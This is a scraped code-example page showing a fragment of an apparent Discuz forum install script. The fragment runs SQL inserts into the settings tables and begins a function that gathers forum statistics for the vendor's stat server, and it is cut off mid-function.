        puts("twitter.com/WCollarGroup");
//.........这里部分代码省略.........
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:101,代码来源:21786.php

示例15: cdb_prompttype

INSERT INTO cdb_prompttype (`key`, `name`, `script`) VALUES ('myinvite','{$installlang[manyou][prompttypeinvite]}','userapp.php?script=notice&action=invite');

EOF;

runquery($sql);

$sql1 = <<<EOF

REPLACE INTO cdb_settings (variable, value) VALUES ('my_status', '0');
REPLACE INTO cdb_settings (variable, value) VALUES ('my_siteid', '');
REPLACE INTO cdb_settings (variable, value) VALUES ('my_sitekey', '');

EOF;

if(empty($_DCACHE['settings']['my_siteid'])) {
	runquery($sql1);
}
if(empty($_DCACHE['settings']['uchomeurl'])) {
	getstatinfo('manyou2dz', '20090727', $_DCACHE['settings']['funcsiteid'], $_DCACHE['settings']['funckey']);
}

function getstatinfo($mark, $version, $siteid, $key) {
	global $db, $tablepre, $dbcharset, $_DCACHE;
	$onlineip = $GLOBALS['onlineip'];
	$funcurl = 'http://stat.discuz.com/func/funcstat.php';
	$members = $_DCACHE['settings']['totalmembers'];
	$bbname = $_DCACHE['settings']['bbname'];
	$PHP_SELF = htmlspecialchars($_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
	$url = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');
	$posts = $db->result($db->query("SELECT count(*) FROM {$tablepre}posts"), 0);
	$hash = $bbname.$url.$mark.$version.$posts;
开发者ID:BGCX262,项目名称:zyyhong-svn-to-git,代码行数:31,代码来源:install.php


注:本文中的runquery函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。